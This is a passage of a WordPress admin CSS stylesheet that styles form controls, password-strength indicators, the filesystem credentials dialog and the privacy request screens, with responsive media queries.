textarea:disabled,
textarea.disabled {
	background: rgba(255, 255, 255, 0.5);
	border-color: rgba(220, 220, 222, 0.75);
	box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.04);
	color: rgba(44, 51, 56, 0.5);
}

input[type="file"]:disabled,
input[type="file"].disabled,
input[type="file"][aria-disabled="true"],
input[type="range"]:disabled,
input[type="range"].disabled,
input[type="range"][aria-disabled="true"] {
	background: none;
	box-shadow: none;
	cursor: default;
}

input[type="checkbox"]:disabled,
input[type="checkbox"].disabled,
input[type="checkbox"][aria-disabled="true"],
input[type="radio"]:disabled,
input[type="radio"].disabled,
input[type="radio"][aria-disabled="true"],
input[type="checkbox"]:disabled:checked:before,
input[type="checkbox"].disabled:checked:before,
input[type="radio"]:disabled:checked:before,
input[type="radio"].disabled:checked:before {
	opacity: 0.7;
	cursor: default;
}

/*------------------------------------------------------------------------------
  2.0 - Forms
------------------------------------------------------------------------------*/

/* Select styles are based on the default button in buttons.css */
.wp-core-ui select {
	font-size: 14px;
	line-height: 2; /* 28px */
	color: #2c3338;
	border-color: #8c8f94;
	box-shadow: none;
	border-radius: 3px;
	padding: 0 24px 0 8px;
	min-height: 30px;
	max-width: 25rem;
	-webkit-appearance: none;
	/* The SVG is arrow-down-alt2 from Dashicons. */
	background: #fff url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20width%3D%2220%22%20height%3D%2220%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M5%206l5%205%205-5%202%201-7%207-7-7%202-1z%22%20fill%3D%22%23555%22%2F%3E%3C%2Fsvg%3E') no-repeat right 5px top 55%;
	background-size: 16px 16px;
	cursor: pointer;
	vertical-align: middle;
}

.wp-core-ui select:hover {
	color: #2271b1;
}

.wp-core-ui select:focus {
	border-color: #2271b1;
	color: #0a4b78;
	box-shadow: 0 0 0 1px #2271b1;
}

.wp-core-ui select:active {
	border-color: #8c8f94;
	box-shadow: none;
}

.wp-core-ui select.disabled,
.wp-core-ui select:disabled {
	color: #a7aaad;
	border-color: #dcdcde;
	background-color: #f6f7f7;
	/* The SVG is arrow-down-alt2 from Dashicons. */
	background-image: url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20width%3D%2220%22%20height%3D%2220%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M5%206l5%205%205-5%202%201-7%207-7-7%202-1z%22%20fill%3D%22%23a0a5aa%22%2F%3E%3C%2Fsvg%3E');
	box-shadow: none;
	text-shadow: 0 1px 0 #fff;
	cursor: default;
	transform: none;
}

.wp-core-ui select[aria-disabled="true"] {
	cursor: default;
}

/* Reset Firefox inner outline that appears on :focus. */
/* This ruleset overrides the color change on :focus thus needs to be after select:focus. */
.wp-core-ui select:-moz-focusring {
	color: transparent;
	text-shadow: 0 0 0 #0a4b78;
}

/* Remove background focus style from IE11 while keeping focus style available on option elements. */
.wp-core-ui select::-ms-value {
	background: transparent;
	color: #50575e;
}

.wp-core-ui select:hover::-ms-value {
	color: #2271b1;
}

.wp-core-ui select:focus::-ms-value {
	color: #0a4b78;
}

.wp-core-ui select.disabled::-ms-value,
.wp-core-ui select:disabled::-ms-value {
	color: #a7aaad;
}

/* Hide the native down arrow for select element on IE. */
.wp-core-ui select::-ms-expand {
	display: none;
}

.wp-admin .button-cancel {
	display: inline-block;
	min-height: 28px;
	padding: 0 5px;
	line-height: 2;
}

.meta-box-sortables select {
	max-width: 100%;
}

.meta-box-sortables input {
	vertical-align: middle;
}

.misc-pub-post-status select {
	margin-top: 0;
}

.wp-core-ui select[multiple] {
	height: auto;
	padding-right: 8px;
	background: #fff;
}

.submit {
	padding: 1.5em 0;
	margin: 5px 0;
	border-bottom-left-radius: 3px;
	border-bottom-right-radius: 3px;
	border: none;
}

form p.submit a.cancel:hover {
	text-decoration: none;
}

p.submit {
	text-align: left;
	max-width: 100%;
	margin-top: 20px;
	padding-top: 10px;
}

.textright p.submit {
	border: none;
	text-align: right;
}

table.form-table + p.submit,
table.form-table + input + p.submit,
table.form-table + input + input + p.submit {
	border-top: none;
	padding-top: 0;
}

#minor-publishing-actions input,
#major-publishing-actions input,
#minor-publishing-actions .preview {
	text-align: center;
}

textarea.all-options,
input.all-options {
	width: 250px;
}

input.large-text,
textarea.large-text {
	width: 99%;
}

.regular-text {
	width: 25em;
}

input.small-text {
	width: 50px;
	padding: 0 6px;
}

label input.small-text {
	margin-top: -4px;
}

input[type="number"].small-text {
	width: 65px;
	padding-right: 0;
}

input.tiny-text {
	width: 35px;
}

input[type="number"].tiny-text {
	width: 45px;
	padding-right: 0;
}

#doaction,
#doaction2,
#post-query-submit {
	margin: 0 8px 0 0;
}

/* @since 5.7.0 secondary bulk action controls require JS. */
.no-js label[for="bulk-action-selector-bottom"],
.no-js select#bulk-action-selector-bottom,
.no-js input#doaction2,
.no-js label[for="new_role2"],
.no-js select#new_role2,
.no-js input#changeit2 {
	display: none;
}

.tablenav .actions select {
	float: left;
	margin-right: 6px;
	max-width: 12.5rem;
}

#timezone_string option {
	margin-left: 1em;
}

.wp-hide-pw > .dashicons,
.wp-cancel-pw > .dashicons {
	position: relative;
	top: 3px;
	width: 1.25rem;
	height: 1.25rem;
	top: 0.25rem;
	font-size: 20px;
}

.wp-cancel-pw .dashicons-no {
	display: none;
}

label,
#your-profile label + a {
	vertical-align: middle;
}

fieldset label,
#your-profile label + a {
	vertical-align: middle;
}

.options-media-php [for*="_size_"] {
	min-width: 10em;
	vertical-align: baseline;
}

.options-media-php .small-text[name*="_size_"] {
	margin: 0 0 1em;
}

.wp-generate-pw {
	margin-top: 1em;
	position: relative;
}

.wp-pwd button {
	height: min-content;
}

.wp-pwd button.pwd-toggle .dashicons {
	position: relative;
	top: 0.25rem;
}

.wp-pwd {
	margin-top: 1em;
	position: relative;
}

.mailserver-pass-wrap .wp-pwd {
	display: inline-block;
	margin-top: 0;
}

/* rtl:ignore */
#mailserver_pass {
	padding-right: 2.5rem;
}

/* rtl:ignore */
.mailserver-pass-wrap .button.wp-hide-pw {
	background: transparent;
	border: 1px solid transparent;
	box-shadow: none;
	font-size: 14px;
	line-height: 2;
	width: 2.5rem;
	min-width: 40px;
	margin: 0;
	padding: 0 9px;
	position: absolute;
	right: 0;
	top: 0;
}

.mailserver-pass-wrap .button.wp-hide-pw:hover {
	background: transparent;
	border-color: transparent;
}

.mailserver-pass-wrap .button.wp-hide-pw:focus {
	background: transparent;
	border-color: #3582c4;
	border-radius: 4px;
	box-shadow: 0 0 0 1px #3582c4;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.mailserver-pass-wrap .button.wp-hide-pw:active {
	background: transparent;
	box-shadow: none;
	transform: none;
}

#misc-publishing-actions label {
	vertical-align: baseline;
}

#pass-strength-result {
	background-color: #f0f0f1;
	border: 1px solid #dcdcde;
	color: #1d2327;
	margin: -1px 1px 5px;
	padding: 3px 5px;
	text-align: center;
	width: 25em;
	box-sizing: border-box;
	opacity: 0;
}

#pass-strength-result.short {
	background-color: #ffabaf;
	border-color: #e65054;
	opacity: 1;
}

#pass-strength-result.bad {
	background-color: #facfd2;
	border-color: #f86368;
	opacity: 1;
}

#pass-strength-result.good {
	background-color: #f5e6ab;
	border-color: #f0c33c;
	opacity: 1;
}

#pass-strength-result.strong {
	background-color: #b8e6bf;
	border-color: #68de7c;
	opacity: 1;
}

.password-input-wrapper {
	display: inline-block;
}

.password-input-wrapper input {
	font-family: Consolas, Monaco, monospace;
}

#pass1.short, #pass1-text.short {
	border-color: #e65054;
}

#pass1.bad, #pass1-text.bad {
	border-color: #f86368;
}

#pass1.good, #pass1-text.good {
	border-color: #f0c33c;
}

#pass1.strong, #pass1-text.strong {
	border-color: #68de7c;
}

#pass1:focus,
#pass1-text:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.pw-weak {
	display: none;
}

.indicator-hint {
	padding-top: 8px;
}

.wp-pwd [type="text"],
.wp-pwd [type="password"] {
	margin-bottom: 0;
	/* Same height as the buttons */
	min-height: 30px;
}

/* Hide the Edge "reveal password" native button */
.wp-pwd input::-ms-reveal {
	display: none;
}

#pass1-text,
.show-password #pass1 {
	display: none;
}

#pass1-text::-ms-clear {
	display: none;
}

.show-password #pass1-text {
	display: inline-block;
}

p.search-box {
	float: right;
	margin: 0;
}

.network-admin.themes-php p.search-box {
	clear: left;
}

.search-box input[name="s"],
.tablenav .search-plugins input[name="s"],
.tagsdiv .newtag {
	float: left;
	margin: 0 4px 0 0;
}

.js.plugins-php .search-box .wp-filter-search {
	margin: 0;
	width: 280px;
}

input[type="text"].ui-autocomplete-loading,
input[type="email"].ui-autocomplete-loading {
	background-image: url(../images/loading.gif);
	background-repeat: no-repeat;
	background-position: right 5px center;
	visibility: visible;
}

input.ui-autocomplete-input.open {
	border-bottom-color: transparent;
}

ul#add-to-blog-users {
	margin: 0 0 0 14px;
}

.ui-autocomplete {
	padding: 0;
	margin: 0;
	list-style: none;
	position: absolute;
	z-index: 10000;
	border: 1px solid #4f94d4;
	box-shadow: 0 1px 2px rgba(79, 148, 212, 0.8);
	background-color: #fff;
}

.ui-autocomplete li {
	margin-bottom: 0;
	padding: 4px 10px;
	white-space: nowrap;
	text-align: left;
	cursor: pointer;
}

/* Colors for the wplink toolbar autocomplete. */
.ui-autocomplete .ui-state-focus {
	background-color: #dcdcde;
}

/* Colors for the tags autocomplete. */
.wp-tags-autocomplete .ui-state-focus,
.wp-tags-autocomplete [aria-selected="true"] {
	background-color: #2271b1;
	color: #fff;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.button-add-site-icon {
	width: 100%;
	cursor: pointer;
	text-align: center;
	border: 1px dashed #c3c4c7;
	box-sizing: border-box;
	padding: 9px 0;
	line-height: 1.6;
	max-width: 270px;
}

.button-add-site-icon:focus,
.button-add-site-icon:hover {
	background: #fff;
}

.site-icon-section .favicon-preview {
	float: left;
}
.site-icon-section .app-icon-preview {
	float: left;
	margin: 0 20px;
}

.site-icon-section .site-icon-preview img {
	max-width: 100%;
}

.button-add-site-icon:focus {
	background-color: #fff;
	border-color: #3582c4;
	border-style: solid;
	box-shadow: 0 0 0 1px #3582c4;
	outline: 2px solid transparent;
}

/*------------------------------------------------------------------------------
  15.0 - Comments Screen
------------------------------------------------------------------------------*/

.form-table {
	border-collapse: collapse;
	margin-top: 0.5em;
	width: 100%;
	clear: both;
}

.form-table,
.form-table td,
.form-table th,
.form-table td p {
	font-size: 14px;
}

.form-table td {
	margin-bottom: 9px;
	padding: 15px 10px;
	line-height: 1.3;
	vertical-align: middle;
}

.form-table th,
.form-wrap label {
	color: #1d2327;
	font-weight: 400;
	text-shadow: none;
	vertical-align: baseline;
}

.form-table th {
	vertical-align: top;
	text-align: left;
	padding: 20px 10px 20px 0;
	width: 200px;
	line-height: 1.3;
	font-weight: 600;
}

.form-table th.th-full, /* Not used by core. Back-compat for pre-4.8 */
.form-table .td-full {
	width: auto;
	padding: 20px 10px 20px 0;
	font-weight: 400;
}

.form-table td p {
	margin-top: 4px;
	margin-bottom: 0;
}

.form-table .date-time-doc {
	margin-top: 1em;
}

.form-table p.timezone-info {
	margin: 1em 0;
	display: flex;
	flex-direction: column;
}

#local-time {
	margin-top: 0.5em;
}

.form-table td fieldset label {
	margin: 0.35em 0 0.5em !important;
	display: inline-block;
}

.form-table td fieldset p label {
	margin-top: 0 !important;
}

.form-table td fieldset label,
.form-table td fieldset p,
.form-table td fieldset li {
	line-height: 1.4;
}

.form-table input.tog,
.form-table input[type="radio"] {
	margin-top: -4px;
	margin-right: 4px;
	float: none;
}

.form-table .pre {
	padding: 8px;
	margin: 0;
}

table.form-table td .updated {
	font-size: 13px;
}

table.form-table td .updated p {
	font-size: 13px;
	margin: 0.3em 0;
}

/*------------------------------------------------------------------------------
  18.0 - Users
------------------------------------------------------------------------------*/

#profile-page .form-table textarea {
	width: 500px;
	margin-bottom: 6px;
}

#profile-page .form-table #rich_editing {
	margin-right: 5px
}

#your-profile legend {
	font-size: 22px;
}

#display_name {
	width: 15em;
}

#adduser .form-field input,
#createuser .form-field input {
	width: 25em;
}

.color-option {
	display: inline-block;
	width: 24%;
	padding: 5px 15px 15px;
	box-sizing: border-box;
	margin-bottom: 3px;
}

.color-option:hover,
.color-option.selected {
	background: #dcdcde;
}

.color-palette {
	display: table;
	width: 100%;
	border-spacing: 0;
	border-collapse: collapse;
}
.color-palette .color-palette-shade,
.color-palette td {
	display: table-cell;
	height: 20px;
	padding: 0;
	border: none;
}

.color-option {
	cursor: pointer;
}

.create-application-password .form-field {
	max-width: 25em;
}

.create-application-password label {
	font-weight: 600;
}

.create-application-password p.submit {
	margin-bottom: 0;
	padding-bottom: 0;
	display: block;
}

#application-passwords-section .notice {
	margin-top: 20px;
	margin-bottom: 0;
	word-wrap: break-word;
}

.application-password-display input.code {
	width: 19em;
}

.auth-app-card.card {
	max-width: 768px;
}

.authorize-application-php .form-wrap p {
	display: block;
}

/*------------------------------------------------------------------------------
  19.0 - Tools
------------------------------------------------------------------------------*/

.tool-box .title {
	margin: 8px 0;
	font-size: 18px;
	font-weight: 400;
	line-height: 24px;
}

.label-responsive {
	vertical-align: middle;
}

#export-filters p {
	margin: 0 0 1em;
}

#export-filters p.submit {
	margin: 7px 0 5px;
}

/* Card styles */

.card {
	position: relative;
	margin-top: 20px;
	padding: 0.7em 2em 1em;
	min-width: 255px;
	max-width: 520px;
	border: 1px solid #c3c4c7;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
	background: #fff;
	box-sizing: border-box;
}

/* Press this styles */

.pressthis h4 {
	margin: 2em 0 1em;
}

.pressthis textarea {
	width: 100%;
	font-size: 1em;
}

#pressthis-code-wrap {
	overflow: auto;
}

.pressthis-bookmarklet-wrapper {
	margin: 20px 0 8px;
	vertical-align: top;
	position: relative;
	z-index: 1;
}

.pressthis-bookmarklet,
.pressthis-bookmarklet:hover,
.pressthis-bookmarklet:focus,
.pressthis-bookmarklet:active {
	display: inline-block;
	position: relative;
	cursor: move;
	color: #2c3338;
	background: #dcdcde;
	border-radius: 5px;
	border: 1px solid #c3c4c7;
	font-style: normal;
	line-height: 16px;
	font-size: 14px;
	text-decoration: none;
}

.pressthis-bookmarklet:active {
	outline: none;
}

.pressthis-bookmarklet:after {
	content: "";
	width: 70%;
	height: 55%;
	z-index: -1;
	position: absolute;
	right: 10px;
	bottom: 9px;
	background: transparent;
	transform: skew(20deg) rotate(6deg);
	box-shadow: 0 10px 8px rgba(0, 0, 0, 0.6);
}

.pressthis-bookmarklet:hover:after {
	transform: skew(20deg) rotate(9deg);
	box-shadow: 0 10px 8px rgba(0, 0, 0, 0.7);
}

.pressthis-bookmarklet span {
	display: inline-block;
	margin: 0;
	padding: 0 12px 8px 9px;
}

.pressthis-bookmarklet span:before {
	color: #787c82;
	font: normal 20px/1 dashicons;
	content: "\f157";
	position: relative;
	display: inline-block;
	top: 4px;
	margin-right: 4px;
}

.pressthis-js-toggle {
	margin-left: 10px;
	padding: 0;
	height: auto;
	vertical-align: top;
}

/* to override the button class being applied */
.pressthis-js-toggle.button.button {
	margin-left: 10px;
	padding: 0;
	height: auto;
	vertical-align: top;
}

.pressthis-js-toggle .dashicons {
	margin: 5px 8px 6px 7px;
	color: #50575e;
}

/*------------------------------------------------------------------------------
  20.0 - Settings
------------------------------------------------------------------------------*/

.timezone-info code {
	white-space: nowrap;
}

.defaultavatarpicker .avatar {
	margin: 2px 0;
	vertical-align: middle;
}

.options-general-php .date-time-text {
	display: inline-block;
	min-width: 10em;
}

.options-general-php input.small-text {
	width: 56px;
	margin: -2px 0;
}

.options-general-php .spinner {
	float: none;
	margin: -3px 3px 0;
}

.settings-php .language-install-spinner,
.options-general-php .language-install-spinner,
.user-edit-php .language-install-spinner,
.profile-php .language-install-spinner {
	display: inline-block;
	float: none;
	margin: -3px 5px 0;
	vertical-align: middle;
}

.form-table.permalink-structure .available-structure-tags {
	margin-top: 8px;
}

.form-table.permalink-structure .available-structure-tags ul {
	display: flex;
	flex-wrap: wrap;
	margin: 8px 0 0;
}

.form-table.permalink-structure .available-structure-tags li {
	margin: 6px 5px 0 0;
}

.form-table.permalink-structure .available-structure-tags li:last-child {
	margin-right: 0;
}

.form-table.permalink-structure .structure-selection .row {
	margin-bottom: 16px;
}

.form-table.permalink-structure .structure-selection .row > div {
	max-width: calc(100% - 24px);
	display: inline-flex;
	flex-direction: column;
}

.form-table.permalink-structure .structure-selection .row label {
	font-weight: 600;
}

.form-table.permalink-structure .structure-selection .row p {
	margin-top: 0;
}

/*------------------------------------------------------------------------------
  21.0 - Network Admin
------------------------------------------------------------------------------*/

.setup-php textarea {
	max-width: 100%;
}

.form-field #site-address {
	max-width: 25em;
}

.form-field #domain {
	max-width: 22em;
}

.form-field #site-title,
.form-field #admin-email,
.form-field #path,
.form-field #blog_registered,
.form-field #blog_last_updated {
	max-width: 25em;
}

.form-field #path {
	margin-bottom: 5px;
}

#search-users,
#search-sites {
	max-width: 60%;
}

.configuration-rules-label {
	font-weight: 600;
	margin-bottom: 4px;
}

/*------------------------------------------------------------------------------
   Credentials check dialog for Install and Updates
------------------------------------------------------------------------------*/

.request-filesystem-credentials-dialog {
	display: none;
	/* The customizer uses visibility: hidden on the body for full-overlays. */
	visibility: visible;
}

.request-filesystem-credentials-dialog .notification-dialog {
	top: 10%;
	max-height: 85%;
}

.request-filesystem-credentials-dialog-content {
	margin: 25px;
}

#request-filesystem-credentials-title {
	font-size: 1.3em;
	margin: 1em 0;
}

.request-filesystem-credentials-form legend {
	font-size: 1em;
	padding: 1.33em 0;
	font-weight: 600;
}

.request-filesystem-credentials-form input[type="text"],
.request-filesystem-credentials-form input[type="password"] {
	display: block;
}

.request-filesystem-credentials-dialog input[type="text"],
.request-filesystem-credentials-dialog input[type="password"] {
	width: 100%;
}

.request-filesystem-credentials-form .field-title {
	font-weight: 600;
}

.request-filesystem-credentials-dialog label[for="hostname"],
.request-filesystem-credentials-dialog label[for="public_key"],
.request-filesystem-credentials-dialog label[for="private_key"] {
	display: block;
	margin-bottom: 1em;
}

.request-filesystem-credentials-dialog .ftp-username,
.request-filesystem-credentials-dialog .ftp-password {
	float: left;
	width: 48%;
}

.request-filesystem-credentials-dialog .ftp-password {
	margin-left: 4%;
}

.request-filesystem-credentials-dialog .request-filesystem-credentials-action-buttons {
	text-align: right;
}

.request-filesystem-credentials-dialog label[for="ftp"] {
	margin-right: 10px;
}

.request-filesystem-credentials-dialog #auth-keys-desc {
	margin-bottom: 0;
}

#request-filesystem-credentials-dialog .button:not(:last-child) {
	margin-right: 10px;
}

#request-filesystem-credentials-form .cancel-button {
	display: none;
}

#request-filesystem-credentials-dialog .cancel-button {
	display: inline;
}

.request-filesystem-credentials-dialog .ftp-username,
.request-filesystem-credentials-dialog .ftp-password {
	float: none;
	width: auto;
}

.request-filesystem-credentials-dialog .ftp-username {
	margin-bottom: 1em;
}

.request-filesystem-credentials-dialog .ftp-password {
	margin: 0;
}

.request-filesystem-credentials-dialog .ftp-password em {
	color: #8c8f94;
}

.request-filesystem-credentials-dialog label {
	display: block;
	line-height: 1.5;
	margin-bottom: 1em;
}

.request-filesystem-credentials-form legend {
	padding-bottom: 0;
}

.request-filesystem-credentials-form #ssh-keys legend {
	font-size: 1.3em;
}

.request-filesystem-credentials-form .notice {
	margin: 0 0 20px;
	clear: both;
}

/*------------------------------------------------------------------------------
   Privacy Policy settings screen
------------------------------------------------------------------------------*/
.tools-privacy-policy-page form {
	margin-bottom: 1.3em;
}

.tools-privacy-policy-page input.button {
	margin: 0 1px 0 6px;
}

.tools-privacy-policy-page select {
	margin: 0 1px 0.5em 6px;
}

.tools-privacy-edit {
	margin: 1.5em 0;
}

.tools-privacy-policy-page span {
	line-height: 2;
}

.privacy_requests .column-email {
	width: 40%;
}

.privacy_requests .column-type {
	text-align: center;
}

.privacy_requests thead td:first-child,
.privacy_requests tfoot td:first-child {
	border-left: 4px solid #fff;
}

.privacy_requests tbody th {
	border-left: 4px solid #fff;
	background: #fff;
	box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
}

.privacy_requests .row-actions {
	color: #787c82;
}

.privacy_requests .row-actions.processing {
	position: static;
}

.privacy_requests tbody .has-request-results th {
	box-shadow: none;
}

.privacy_requests tbody .request-results th .notice {
	margin: 0 0 5px;
}

.privacy_requests tbody td {
	background: #fff;
	box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
}

.privacy_requests tbody .has-request-results td {
	box-shadow: none;
}

.privacy_requests .next_steps .button {
	word-wrap: break-word;
	white-space: normal;
}

.privacy_requests .status-request-confirmed th,
.privacy_requests .status-request-confirmed td {
	background-color: #fff;
	border-left-color: #72aee6;
}

.privacy_requests .status-request-failed th,
.privacy_requests .status-request-failed td {
	background-color: #f6f7f7;
	border-left-color: #d63638;
}

.privacy_requests .export_personal_data_failed a {
	vertical-align: baseline;
}

.status-label {
	font-weight: 600;
}

.status-label.status-request-pending {
	font-weight: 400;
	font-style: italic;
	color: #646970;
}

.status-label.status-request-failed {
	color: #d63638;
	font-weight: 600;
}

.wp-privacy-request-form {
	clear: both;
}

.wp-privacy-request-form-field {
	margin: 1.5em 0;
}

.wp-privacy-request-form input {
	margin: 0;
}

.email-personal-data::before {
	display: inline-block;
	font: normal 20px/1 dashicons;
	margin: 3px 5px 0 -2px;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	vertical-align: top;
}

.email-personal-data--sending::before {
	color: #d63638;
	content: "\f463";
	animation: rotation 2s infinite linear;
}

.email-personal-data--sent::before {
	color: #68de7c;
	content: "\f147";
}


/* =Media Queries
-------------------------------------------------------------- */

@media screen and (max-width: 782px) {
	/* Input Elements */
	textarea {
		-webkit-appearance: none;
	}

	input[type="text"],
	input[type="password"],
	input[type="date"],
	input[type="datetime"],
	input[type="datetime-local"],
	input[type="email"],
	input[type="month"],
	input[type="number"],
	input[type="search"],
	input[type="tel"],
	input[type="time"],
	input[type="url"],
	input[type="week"] {
		-webkit-appearance: none;
		padding: 3px 10px;
		/* Only necessary for IE11 */
		min-height: 40px;
	}

	::-webkit-datetime-edit {
		line-height: 1.875; /* 30px */
	}

	input[type="checkbox"],
	.widefat th input[type="checkbox"],
	.widefat thead td input[type="checkbox"],
	.widefat tfoot td input[type="checkbox"] {
		-webkit-appearance: none;
	}

	.widefat th input[type="checkbox"],
	.widefat thead td input[type="checkbox"],
	.widefat tfoot td input[type="checkbox"] {
		margin-bottom: 8px;
	}

	input[type="checkbox"]:checked:before,
	.widefat th input[type="checkbox"]:before,
	.widefat thead td input[type="checkbox"]:before,
	.widefat tfoot td input[type="checkbox"]:before {
		width: 1.875rem;
		height: 1.875rem;
		margin: -0.1875rem -0.3125rem;
	}

	input[type="radio"],
	input[type="checkbox"] {
		height: 1.5625rem;
		width: 1.5625rem;
	}

	.wp-admin p input[type="checkbox"],
	.wp-admin p input[type="radio"] {
		margin-top: -0.1875rem;
	}

	input[type="radio"]:checked:before {
		vertical-align: middle;
		width: 0.5625rem;
		height: 0.5625rem;
		margin: 0.4375rem;
		line-height: 0.76190476;
	}

	.wp-upload-form input[type="submit"] {
		margin-top: 10px;
	}

	.wp-core-ui select,
	.wp-admin .form-table select {
		min-height: 40px;
		font-size: 16px;
		line-height: 1.625; /* 26px */
		padding: 5px 24px 5px 8px;
	}

	.wp-admin .button-cancel {
		margin-bottom: 0;
		padding: 2px 0;
		font-size: 14px;
		vertical-align: middle;
	}

	#adduser .form-field input,
	#createuser .form-field input {
		width: 100%;
	}

	.form-table {
		box-sizing: border-box;
	}

	.form-table th,
	.form-table td,
	.label-responsive {
		display: block;
		width: auto;
		vertical-align: middle;
	}

	.label-responsive {
		margin: 0.5em 0;
	}

	.export-filters li {
		margin-bottom: 0;
	}

	.form-table .color-palette .color-palette-shade,
	.form-table .color-palette td {
		display: table-cell;
		width: 15px;
		height: 30px;
		padding: 0;
	}

	.form-table .color-palette {
		margin-right: 10px;
	}

	textarea,
	input {
		font-size: 16px;
	}

	.form-table td input[type="text"],
	.form-table td input[type="email"],
	.form-table td input[type="password"],
	.form-table td select,
	.form-table td textarea,
	.form-table span.description,
	#profile-page .form-table textarea {
		width: 100%;
		display: block;
		max-width: none;
		box-sizing: border-box;
	}

	.form-table .form-required.form-invalid td:after {
		float: right;
		margin: -30px 3px 0 0;
	}

	input[type="text"].small-text,
	input[type="search"].small-text,
	input[type="password"].small-text,
	input[type="number"].small-text,
	input[type="number"].small-text,
	.form-table input[type="text"].small-text {
		width: auto;
		max-width: 4.375em; /* 70px, enough for 4 digits to fit comfortably */
		display: inline;
		padding: 3px 6px;
		margin: 0 3px;
	}

	.form-table .regular-text ~ input[type="text"].small-text {
		margin-top: 5px;
	}

	#pass-strength-result {
		width: 100%;
		box-sizing: border-box;
		padding: 8px;
	}

	.password-input-wrapper {
		display: block;
	}

	p.search-box {
		float: none;
		width: 100%;
		margin-bottom: 20px;
		display: flex;
	}

	p.search-box input[name="s"] {
		float: none;
		width: 100%;
		margin-bottom: 10px;
		vertical-align: middle;
	}

	p.search-box input[type="submit"] {
		margin-bottom: 10px;
	}

	.form-table span.description {
		display: inline;
		padding: 4px 0 0;
		line-height: 1.4;
		font-size: 14px;
	}

	.form-table th {
		padding: 10px 0 0;
		border-bottom: 0;
	}

	.form-table td {
		margin-bottom: 0;
		padding: 4px 0 6px;
	}

	.form-table.permalink-structure td code {
		display: inline-block;
	}

	.form-table.permalink-structure .structure-selection {
		margin-top: 8px;
	}

	.form-table.permalink-structure .structure-selection .row > div {
		max-width: calc(100% - 36px);
		width: 100%;
	}

	.form-table.permalink-structure td input[type="text"] {
		margin-top: 4px;
	}

	.form-table input.regular-text {
		width: 100%;
	}

	.form-table label {
		font-size: 14px;
	}

	.form-table td > label:first-child {
		display: inline-block;
		margin-top: 0.35em;
	}

	.background-position-control .button-group > label {
		font-size: 0;
	}

	.form-table fieldset label {
		display: block;
	}

	.form-field #domain {
		max-width: none;
	}

	/* New Password */
	.wp-pwd {
		position: relative;
	}

	/* Needs higher specificity than normal input type text and password. */
	#profile-page .form-table #pass1 {
		padding-right: 90px;
	}

	.wp-pwd button.button {
		background: transparent;
		border: 1px solid transparent;
		box-shadow: none;
		line-height: 2;
		margin: 0;
		padding: 5px 9px;
		position: absolute;
		right: 0;
		top: 0;
		width: 2.375rem;
		height: 2.375rem;
		min-width: 40px;
		min-height: 40px;
	}

	.wp-pwd button.wp-hide-pw {
		right: 2.5rem;
	}

	body.user-new-php .wp-pwd button.wp-hide-pw {
		right: 0;
	}

	.wp-pwd button.button:hover,
	.wp-pwd button.button:focus {
		background: transparent;
	}

	.wp-pwd button.button:active {
		background: transparent;
		box-shadow: none;
		transform: none;
	}

	.wp-pwd .button .text {
		display: none;
	}

	.wp-pwd [type="text"],
	.wp-pwd [type="password"] {
		line-height: 2;
		padding-right: 5rem;
	}

	body.user-new-php .wp-pwd [type="text"],
	body.user-new-php .wp-pwd [type="password"] {
		padding-right: 2.5rem;
	}

	.wp-cancel-pw .dashicons-no {
		display: inline-block;
	}

	.mailserver-pass-wrap .wp-pwd {
		display: block;
	}

	/* rtl:ignore */
	#mailserver_pass {
		padding-left: 10px;
	}

	.options-general-php input[type="text"].small-text {
		max-width: 6.25em;
		margin: 0;
	}

	/* Privacy Policy settings screen */
	.tools-privacy-policy-page form.wp-create-privacy-page {
		margin-bottom: 1em;
	}

	.tools-privacy-policy-page input#set-page,
	.tools-privacy-policy-page select {
		margin: 10px 0 0;
	}

	.tools-privacy-policy-page .wp-create-privacy-page span {
		display: block;
		margin-bottom: 1em;
	}

	.tools-privacy-policy-page .wp-create-privacy-page .button {
		margin-left: 0;
	}

	.wp-list-table.privacy_requests tr:not(.inline-edit-row):not(.no-items) td.column-primary:not(.check-column) {
		display: table-cell;
	}

	.wp-list-table.privacy_requests.widefat th input,
	.wp-list-table.privacy_requests.widefat thead td input {
		margin-left: 5px;
	}

	.wp-privacy-request-form-field input[type="text"] {
		width: 100%;
		margin-bottom: 10px;
		vertical-align: middle;
	}

	.regular-text {
		max-width: 100%;
	}
}

@media only screen and (max-width: 768px) {
	.form-field input[type="text"],
	.form-field input[type="email"],
	.form-field input[type="password"],
	.form-field select,
	.form-field textarea {
		width: 99%;
	}

	.form-wrap .form-field {
		padding: 0;
	}
}

@media only screen and (max-height: 480px), screen and (max-width: 450px) {
	/* Request Credentials / File Editor Warning */
	.request-filesystem-credentials-dialog .notification-dialog,
	.file-editor-warning .notification-dialog {
		width: 100%;
		height: 100%;
		max-height: 100%;
		position: fixed;
		top: 0;
		margin: 0;
		left: 0;
	}
}

/* Smartphone */
@media screen and (max-width: 600px) {
	/* Color Picker Options */
	.color-option {
		width: 49%;
	}
}

@media only screen and (max-width: 320px) {
	.options-general-php .date-time-text.date-time-custom-text {
		min-width: 0;
		margin-right: 0.5em;
	}
}

@keyframes rotation {
	0% {
		transform: rotate(0deg);
	}
	100% {
		transform: rotate(359deg);
	}
}
/*! This file is auto-generated */
